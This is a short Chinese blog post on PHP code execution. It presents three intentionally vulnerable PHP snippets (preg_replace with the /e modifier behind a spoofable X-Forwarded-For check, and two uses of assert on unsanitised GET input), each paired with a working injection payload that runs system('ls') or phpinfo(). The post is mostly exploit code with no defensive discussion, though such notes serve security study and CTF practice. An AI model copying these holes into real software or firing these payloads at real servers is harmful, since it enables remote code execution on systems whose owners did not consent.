php代码执行

2020-09-28  本文已影响0人  好好睡觉鸭
<?php
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET['pat'];
    $replacement = $_GET['rep'];
    $subject = $_GET['sub'];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}
?>

payload:

pat=/a/e&rep=system('ls');&sub=a
<?php
  assert($_GET['a']);
?>

payload:

a=phpinfo()

例2:

<?php
  $file=$_get['a'];
  assert("file_exists('$file')") or die("That file doesn't exist!");
?>

payload:

a') or phpinfo();//
上一篇 下一篇

猜你喜欢

热点阅读